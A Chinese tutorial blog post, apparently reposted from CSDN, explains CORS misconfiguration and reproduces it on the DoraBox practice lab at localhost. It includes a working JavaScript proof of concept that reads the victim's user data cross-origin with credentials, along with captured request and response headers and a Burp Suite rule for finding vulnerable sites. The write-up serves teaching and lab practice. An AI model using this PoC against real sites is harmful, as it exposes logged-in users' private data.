文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

CORS跨域资源共享漏洞

2023-09-01 14:02

关注


目录


在 xray 被动扫描的时候无意间看到了 baseline/cors/reflected,因为是未接触过的东西 简单总结一下,虽然到了最后换来了个 风险过低已忽略就是了

漏洞介绍

首先明白几个概念 Origin(源)、SOP(同源策略) 和 CROS(跨域资源访问) 分别是什么

Origin

三个要素构成了Origin,分别是

三者统称为源 Origin详解

SOP

同源策略(Same Origin Policy),同源策略是基于浏览器的安全策略,它限制了网站之间不能随意互相读取和访问对方的资源。只有请求源(本地)和目标源(服务器)相同时,才能对相应资源进行读取。 同源策略详解

CORS

跨域资源共享(Cross-Origin Resource Sharing)随着发展,业务不满足于内部的资源访问,于是便有了CORS(跨域资源共享)机制,开发者可以配置具体允许哪些源对服务器的资源进行访问,但是如果未进行配置,用户只要在请求标头 Origin 字段中加入允许访问的地址,那么就可以构建任意的可允许访问的源(Access-Control-Allow-Origin)

通常 Access-Control-Allow-Origin 字段会在服务器的响应数据包内 请求标头Origin详解

同源与不同源的例子

假设服务器地址为 http://example.com

几个同源的例子

http://example.comhttp://example.com/1.phphttp://example.com/2.php

不同源的例子

http://example.comhttps://example.comhttp://example.com:8080

漏洞是如何产生的

上文提到了 请求标头 Origin 是可以构建的,假设服务器没有对字段做严格的限制,那么我们可以构造任意字段,让服务器的资源可提供给任意的第三方服务器。

那么服务器同时满足下面三点要求,则可能构成CORS漏洞

开启了 CORS(跨域资源共享)未对Origin(请求标头)的内容做限制未限制 Access-Control-Allow-Origin(允许访问的源) 字段

靶场漏洞复现

这里使用 DoraBox靶场: https://github.com/0verSp4ce/DoraBox

本地搭建环境,访问 URL http://localhost/DoraBox/csrf/userinfo.php

拦截数据包分析响应包内容

HTTP/1.1 200 OKServer: nginx/1.18.0Date: Fri, 05 Aug 2022 20:35:19 GMTContent-Type: text/html; charset=UTF-8Connection: closeX-Powered-By: PHP/7.4.6Access-Control-Allow-Origin: *Access-Control-Allow-Headers: X-Requested-WithAccess-Control-Allow-Credentials: trueAccess-Control-Allow-Methods: PUT,POST,GET,DELETE,OPTIONSContent-Length: 151{"username":"Vulkey_Chen","mobilephone":"13188888888","email":"admin@gh0st.cn","address":"\u4e2d\u534e\u4eba\u6c11\u5171\u548c\u56fd","sex":"Cool Man"}

Access-Control-Allow-Origin:* 允许所有域都具有访问资源的权限。

Access-Control-Allow-Credentials: true 允许将请求的响应内容暴露给前端的JavaScript代码

Access-Control-Allow-Methods: PUT,POST,GET,DELETE,OPTIONS 允许跨域访问资源的请求方式

服务端响应包内声明了,1. 任何域都可以访问资源 2. 允许将相应内容通过 JavasScript 代码获取 3. 允许多种方式,如PUT,POST,GET 方式请求服务器资源,那我们我们可以构建 POC 请求服务器资源

这里的 POC 在靶场 DoraBox/PoC/csrf/CORS/index.html 目录内有现成的,直接套用

在本地构建 report.html

DOCTYPE html><html><head><title>cors exptitle>head><body><script type="text/javascript">function cors() {var xhttp = new XMLHttpRequest();xhttp.onreadystatechange = function() {if (this.status == 200) {alert(this.responseText);document.getElementById("demo").innerHTML = this.responseText;}};xhttp.open("GET", "http://localhost/DoraBox/csrf/userinfo.php");xhttp.withCredentials = true;xhttp.send();}cors();script>body>html>

report.html 通过 javascript 代码请求服务器资源,并且服务器返回了响应的资源,在存在 CORS 漏洞的前提下,可以通过 CORS 来访问服务器未授权的接口、或是一些用户的敏感信息。

使用浏览器打开页面 report.html

请求包

GET /DoraBox/csrf/userinfo.php HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateOrigin: nullConnection: closeSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-site

响应包

HTTP/1.1 200 OKServer: nginx/1.18.0Date: Fri, 05 Aug 2022 20:43:19 GMTContent-Type: text/html; charset=UTF-8Connection: closeX-Powered-By: PHP/7.4.6Access-Control-Allow-Origin: nullAccess-Control-Allow-Headers: X-Requested-WithAccess-Control-Allow-Credentials: trueAccess-Control-Allow-Methods: PUT,POST,GET,DELETE,OPTIONSContent-Length: 151{"username":"Vulkey_Chen","mobilephone":"13188888888","email":"admin@gh0st.cn","address":"\u4e2d\u534e\u4eba\u6c11\u5171\u548c\u56fd","sex":"Cool Man"}

梳理一下整个流程,此时存在 网站A 和网站B,以及用户A。网站A是业务站点,网站B是我们搭建的恶意请求资源站点。

  1. 用户A在网站A登录了自己的账号,网站A返回了相应的用户信息
  2. 用户A访问了网站B,网站B通过用户A向网站A发起请求,此时网站A返回相应内容,因为没有对跨域资源访问做限制,网站B也能获取到网站A的响应内容

因为未对跨域请求做限制而导致第三方站点可以请求服务器资源,并不是绝对存在安全隐患的。假如说一个设计用户隐私的页面,页面会返回敏感信息的时候,这时候假设用户访问了恶意站点,恶意站点又针对敏感信息做了资源请求,可能就会导致用户的信息泄露。

针对CORS漏洞的挖掘有一些小 tips,也简单的提一下

利用burpsuite,设置访问头带Origin请求,过滤响应包的内容

BurpSuite 配置 Proxy - Options - Match and Replace 勾选 Request header Origin: foo.example.org

历史数据包中过滤规则包含 Access-Control-Allow-Origin: foo.example.org 也就是筛选允许跨域资源请求的站点,针对这些站点返回的信息,单个的进行手工检测。

修复方案

参考文献

文章是自己整理出来的,因为是一个新的知识点,设计到的东西太多了,不可能没有任何瑕疵和纰漏,希望能帮到你。如果有任何疑问,欢迎给我留言。

来源地址:https://blog.csdn.net/moekylin/article/details/126272889

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯